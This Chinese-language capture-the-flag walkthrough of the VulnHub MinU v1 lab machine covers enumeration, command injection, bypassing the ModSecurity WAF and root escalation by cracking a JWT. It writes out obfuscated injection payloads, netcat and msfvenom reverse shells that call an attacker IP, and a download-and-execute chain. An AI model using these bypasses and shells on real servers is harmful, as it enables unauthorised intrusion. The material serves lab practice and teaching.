涉及目錄知識點(diǎn)
1.NMAP挖掘信息2.web信息枚舉3.繞過WAF(一)識別waf4.繞過WAF(二)模糊測試Fuzz5.繞過WAF(三)6.繞過WAF(四)7.繞過WAF(五)8.穩(wěn)定shell拓展9.內(nèi)部信息收集10.提權(quán)--深入分析PW文件11.總結(jié)
本項(xiàng)目中包含信息收集、信息收集、識別WAF、多種繞過WAF方式、獲取穩(wěn)定shell、內(nèi)部信息收集和提權(quán),最終拿到flag.txt。其中包含一些小技巧以及知識,都會在文章中展現(xiàn)出來。
注意:
本文僅用于技術(shù)討論與研究,對于所有筆記中復(fù)現(xiàn)的這些終端或者服務(wù)器,都是自行搭建的環(huán)境進(jìn)行滲透的。我將使用Kali Linux作為此次學(xué)習(xí)的攻擊者機(jī)器。這里使用的技術(shù)僅用于學(xué)習(xí)教育目的,如果列出的技術(shù)用于其他任何目標(biāo),本站及作者概不負(fù)責(zé)。
靶機(jī)下載地址:https://www.vulnhub.com/entry/minu-1,235/
下載完成后,使用 VirtualBox 導(dǎo)入,網(wǎng)絡(luò)選擇橋接模式,開啟靶機(jī).
準(zhǔn)備工作完成,可以開始進(jìn)行滲透了。
滲透測試的本質(zhì)就是信息收集,
信息搜集的廣度決定了攻擊的廣度,知識面的廣度決定了攻擊的深度。
1.NMAP挖掘信息
掃描挖掘本地的IP地址信息:
nmap -sS -sV -T5 -A 10.163.197.21
發(fā)現(xiàn)開放了25、80、110端口,25端口為SMTP端口服務(wù),110端口為POP3,80端口掃描出了是烏班圖的系統(tǒng),該apache的版本為2.4.7,接下來訪問下http的80端口。
2.web信息枚舉
訪問80端口
可以看到是apache的一個初始的服務(wù)頁面,僅僅只有80端口開了htp服務(wù)的話,猜測下面一定是有目錄的,所以進(jìn)行爆破看看。
也可以使用其他爆破目錄工具,此處我使用的是dirb,dirb是一個基于字典的web目錄掃描工具,查找現(xiàn)有的(和/或隱藏的)Web對象,通過對Web服務(wù)器發(fā)起基于字典的攻擊并分析響應(yīng)的數(shù)據(jù)。采用遞歸的方式來獲取更多的目錄,它還支持代理和http認(rèn)證限制訪問的網(wǎng)站,是在信息收集階段獲取目標(biāo)信息常用工具手段。
dirb http://10.163.197.21/
掃描結(jié)果的狀態(tài)碼中大部分都是403,如果大批量出現(xiàn)403,說明前端是存在安全防護(hù)機(jī)制的,要么是waf要么是防御腳本。上面的爆破只有一個index.html返回的是200,訪問發(fā)現(xiàn)就是剛才的主頁。加大爆破力度。
在很多情況下,我們需要在目標(biāo)服務(wù)器上提取特定擴(kuò)展名的目錄,然后可以使用dirb掃描的-X參數(shù)。此參數(shù)接受文件擴(kuò)展名,然后在目標(biāo)服務(wù)器或計(jì)算機(jī)上搜索給定的擴(kuò)展名文件。
dirbhttp://10.163.197.21/-X .php .html
發(fā)現(xiàn)存在一個 test.php。
訪問http://10.163.197.21/test.php
提示:Read last visitor data 讀取上次訪問者數(shù)據(jù)。是否存在信息泄露呢,我們點(diǎn)擊這個提示。
點(diǎn)擊后彈出:http://192.168.3.88/test.php?file=last.html,一般情況下 ?file= 存在文件包含、sql注入。
嘗試對URL進(jìn)行構(gòu)造。
http://10.163.197.21/test.php?file=../../../../../../../etc/passwd
結(jié)合前面爆破是大部分回顯均為403,猜測是存在WAF,嘗試命令注入。
發(fā)現(xiàn)存在命令注入,手工試了一些后,發(fā)現(xiàn)ls、cat這些命令無法正常執(zhí)行,應(yīng)該是被waf攔截了。
3.繞過WAF(一)識別waf
這里使用一個工具,對waf進(jìn)行探測 WAFW00F
WAFW00F是一個Web應(yīng)用防火墻(WAF)指紋識別的工具。
WAFW00F工作原理:
1、首先通過發(fā)送一個正常http請求,然后觀察其返回有沒有一些特征字符
2、如果不成功,它將發(fā)送大量(潛在的惡意) HTTP 請求,并使用簡單的邏輯推斷出它是哪個WAF
3、如果這也不成功,它將分析以前返回的響應(yīng),并使用另一個簡單的算法來猜測 WAF 或安全解決方案是否正在積極響應(yīng)我們的攻擊.
下載地址:https://github.com/EnableSecurity/wafw00f
KALI自帶這個工具
wafw00fhttp://10.163.197.21/
根據(jù)回顯,存在waf,但是無法識別出來,當(dāng)前使用的這個 wafw00f 是新版waf,但是新版反而不是很好用,所以我們再使用舊版的嘗試一下。
舊版檢測到是一款叫 modsecurity 的waf,是一個開源waf。
規(guī)則機(jī)制(繞過CRS)
WAF可以安裝在服務(wù)器,可以安裝在某個站的目錄下,也可以安裝在PHP文件內(nèi)。
https://github.com/SpiderLabs/ModSecurity---開源
https://github.com/SpiderLabs/owasp-modsecurity-crs
ModSecurity是一個開源的跨平臺Web應(yīng)用程序防火墻(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs開發(fā)。作為WAF產(chǎn)品,ModSecurity專門關(guān)注HTTP流量,當(dāng)發(fā)出HTTP請求時,ModSecurity檢查請求的所有部分,如果請求是惡意的,它會被阻止和記錄。
功能:
SQL Injection (SQLi):阻止SQL注入
Cross Site Scripting (XSS):阻止跨站腳本攻擊
Local File Inclusion (LFI):阻止利用本地文件包含漏洞進(jìn)行攻擊
Remote File Inclusione(RFI):阻止利用遠(yuǎn)程文件包含漏洞進(jìn)行攻擊
Remote Code Execution (RCE):阻止利用遠(yuǎn)程命令執(zhí)行漏洞進(jìn)行攻擊
PHP Code Injectiod:阻止PHP代碼注入
HTTP Protocol Violations:阻止違反HTTP協(xié)議的惡意訪問
HTTPoxy:阻止利用遠(yuǎn)程代理感染漏洞進(jìn)行攻擊
Shellshock:阻止利用Shellshock漏洞進(jìn)行攻擊
Session Fixation:阻止利用Session會話ID不變的漏洞進(jìn)行攻擊
Scanner Detection:阻止黑客掃描網(wǎng)站
Metadata/Error Leakages:阻止源代碼/錯誤信息泄露
Project Honey Pot Blacklist:蜜罐項(xiàng)目黑名單
GeoIP Country Blocking:根據(jù)判斷IP地址歸屬地來進(jìn)行IP阻斷
4.繞過WAF(二)模糊測試Fuzz
繞過waf可以嘗試進(jìn)行模糊測試,也就是FUZZ,F(xiàn)UZZ可以應(yīng)用在很多場景中。
此處我們使用wfuzz工具。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txthttp://10.163.197.21/test.php?file=FUZZ---正常模糊測試執(zhí)行命令。
-c 輸出顏色 -z payload
這里跑出很多種結(jié)果。
響應(yīng)值是200的和403的都很多,所以我們進(jìn)行一下過濾,把403和404的過濾掉,然后重新執(zhí)行。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ---加hc過濾。
剩下的就都是響應(yīng)值為200的,此時就可以使用命令測試?yán)@過waf。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ| grep dir
上面的命令是dir如何可以繞過waf。
出示了兩種方式,我們進(jìn)行嘗試。
訪問http://10.163.197.21/test.php?file=|dir
可以繞過
關(guān)于wfuzz的詳細(xì)使用可以參考:https://blog.csdn.net/qq_17204441/article/details/102279118
通過 | 繞過waf
現(xiàn)在已經(jīng)可以繞過waf進(jìn)行命令執(zhí)行了
5.繞過WAF(三)
分號“;” 隔離繞過waf!
以文件形式去讀的時候,加;就可以繞過
http://10.163.197.21/test.php?file=last.html;id
因?yàn)镻HP底下是有過濾器的,因?yàn)橛羞^濾器才導(dǎo)致有文件包含,我們用過濾器讀取了文件包含下的一個文件。
通過訪問 http://10.163.197.21/test.php?file=--version可以看到過濾器的信息。
是用cat過濾的,所以要以一個文件開頭讀取信息,然后再繞過。
但是目前的兩種繞過方式都只能執(zhí)行部分命令,如果命令后面需要跟參數(shù),就不行了。
二進(jìn)制繞過
可以在不受限制和不同的二進(jìn)制文件中執(zhí)行命令來繞過本地安全限制!
這里提供一個包含所有二進(jìn)制文件的網(wǎng)站:
二進(jìn)制文件的列表:https://gtfobins.github.io/
最終發(fā)現(xiàn):https://gtfobins.github.io/gtfobins/busybox/可以繞過waf
所以根據(jù)二進(jìn)制繞過waf,就可以反彈shell到其他機(jī)器上。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh
此時是沒有環(huán)境變量的,但是每個二進(jìn)制文件都包含環(huán)境變量,可以添加參數(shù)-i。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh -i
6.繞過WAF(四)
& --繞waf(URL編碼混淆繞過WAF)。
&的url編碼為%26 空格的url編碼為%20。
&會過濾掉前面的命令,直接執(zhí)行后面的命令。
可以執(zhí)行成功。
這里混淆的話,linux一般都會默認(rèn)安裝base64,所以使用base64加密混淆。
但是base64加密完會包含=,=被waf加入黑名單了,等號和你加密時的空格有關(guān),可以在末尾添加空格,加密后等號就會去掉,如圖下中的嘗試。
&/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
%26/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
此處執(zhí)行
http://10.163.197.21/test.php?file=%26/bin/echo%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64%20-d|/bin/sh
發(fā)現(xiàn)無法執(zhí)行。
此時嘗試?yán)^續(xù)繞過,加?號,?問號在linux中以命令使用著,例如:/bin/echo可以通過替換一些字母來調(diào)用,/bin/ech?,仍然會執(zhí)行相同的命令!----在中間件服務(wù)里會自動識別命令。
%26/b?n/ec?o bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64 -d|/bin/?h
http://10.163.197.21/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64%20-d|/bin/?h
成功 總結(jié)一下:
1)知道了cat執(zhí)行命令,那么用&符號:
& 符號url編碼是%26,結(jié)束并開始一個新的命令!
2)%20 ---空格
3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64編碼
(這里==也在黑名單上)
4)/u?r/b?n/b?se64%20-d是url編碼的繞過方法:/usr/bin/base64 -d
5)|/b?n/sh也是一種繞過:|/bin/sh、
7.繞過WAF(五)
$繞過WAF,但是是針對modsecurity這個waf的。
$u 然后執(zhí)行命令 $u被視為空字符串。
首先我們使用msf生成一個shell。
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell
然后用python開啟一個http服務(wù),并且用nc監(jiān)聽4455端口。
http://10.163.197.21/test.php?file=YLion;$u wgethttp://192.168.27.187:80/shell-o /tmp/shell
執(zhí)行即可成功上傳,通過下面的命令查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
可以看到文件存在,查看一下文件權(quán)限。
http://10.163.197.21/test.php?file=YLion;$u ls -la /tmp/shell
并且發(fā)現(xiàn)權(quán)限比較低,所以執(zhí)行另一條命令。
http://10.163.197.21/test.php?file=YLion;$u chmod 777 /tmp/shell
給予高權(quán)限,再次查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
權(quán)限已經(jīng)變高了,攻擊機(jī)上進(jìn)行監(jiān)聽端口。
nc -vlp 4455
http://10.163.197.21/test.php?file=YLion;$u /tmp/shell
注意:這里存在一個坑,可能大家做到這里會發(fā)現(xiàn),python開啟的http服務(wù)那里有記錄,文件也可以看到,但是沒有回顯,其實(shí)是因?yàn)樽髡咄诹艘粋€坑,大家看上面查看文件權(quán)限的圖片,里面那個0,代表文件大小是0,這是因?yàn)槲募臻g滿了,搭建之處空間被占滿了,所以只有一個文件空殼,有名字,但是沒有內(nèi)容。所以需要刪除一些文件,再重新上傳。
總結(jié)上述繞過方式:| $ & ; 加上各種混淆base64 ? 等等
8.穩(wěn)定shell拓展
這里已經(jīng)拿到shell,這里也有一點(diǎn),就是這里要輸python3,而不是直接python。
python3 -c 'import pty; pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null
xport TERM=xterm-256color
ctrl + z
stty raw -echo
fg
執(zhí)行完成就拿到了穩(wěn)定shell。
9.內(nèi)部信息收集
uname -a
由此得知是一個32位的系統(tǒng)。
可以上傳一個腳本,然后運(yùn)行 linpeas.sh 這是一個Linux提權(quán)輔助工具。
這個腳本非常厲害,可以枚舉linux操作系統(tǒng)幾乎所有的可提權(quán)項(xiàng),甚至可以通過su暴力破解本地密碼,輸出非常多。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
由于沒有空間,可以使用rm -rf命令刪除tmp目錄下的一些文件,一般tmp目錄下為臨時文件。
Linux version 4.13.0-39-generic ---45010
Sudo version 1.8.20p2 ---CVE-2021-3156
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) ---找到bob的密碼,su bob登錄用sudo -l提權(quán)。
在tmp目錄下進(jìn)行查看
ls -la
再查看一下home目錄下的內(nèi)容。
然后在 /home/bob/ 目錄下找到一個隱藏文件。
上面的腳本也會枚舉出這個文件。
通過python3,將該文件下載下來。
python3 -m http.server 8089
wget http://192.168.2.230:8089/._pw_
cat ._pw_
10.提權(quán)--深入分析PW文件
初步懷疑這是一個密碼base64加密,但是base64中并沒有點(diǎn),直接嘗試解碼試試。
點(diǎn)在base64中代表跳過的意思,前面的部分解出了一些東西。
sha256 類型:JWT
將第一個點(diǎn)號過濾,查看后面的信息。
過濾第二個點(diǎn)號。
是二進(jìn)制文件。
對已有信息進(jìn)行解讀。
JWT是一種密匙認(rèn)證機(jī)制,類似簽名。
JSON Web Token(JWT)是一個開放的行業(yè)標(biāo)準(zhǔn)(RFC 7519),它定義了一種簡介的、自包含的協(xié)議格式,用于在通信雙方傳遞json對象,傳遞的信息經(jīng)過數(shù)字簽名可以被驗(yàn)證和信任。JWT可以使用HMAC算法或使用RSA的公 鑰/私鑰對來簽名,防止被篡改。
JWT 具有這種格式的三個部分:
base64(header).base64(payload).base64(signature)
1. header在 JSON 中指定算法和類型。
2. payload指定令牌的聲明,也在 JSON 中。
3. signature是編碼頭和有效載荷的數(shù)字簽名。
解密提供兩種思路,在線解密以及解密工具。
https://jwt.io/#debugger這個網(wǎng)站提供在線解密,但是有些情況是解不出來的,需要使用工具破解。
這里給出兩種工具:
https://github.com/brendan-rius/c-jwt-cracker.git
https://github.com/lmammino/jwt-cracker
我們使用第一種
proxychains git clonehttps://github.com/brendan-rius/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Secret is "mlnV1" ----等待幾分鐘
賬戶root,密碼為mlnV1
root目錄下存在flag.txt
11.總結(jié)
本篇文章著重點(diǎn)在于過WAF部分,也對其他的信息手機(jī)、提權(quán)的等給出了一些思路,希望小伙伴們能實(shí)際操作復(fù)現(xiàn)一遍!來鞏固自身的滲透技術(shù)和技巧!
原文標(biāo)題:紅隊(duì)滲透項(xiàng)目之MinUv1
文章出處:【微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
-
服務(wù)器
+關(guān)注
關(guān)注
12文章
9123瀏覽量
85323 -
端口
+關(guān)注
關(guān)注
4文章
963瀏覽量
32051 -
WAF
+關(guān)注
關(guān)注
0文章
29瀏覽量
10497 -
Shell
+關(guān)注
關(guān)注
1文章
365瀏覽量
23356
原文標(biāo)題:紅隊(duì)滲透項(xiàng)目之MinUv1
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論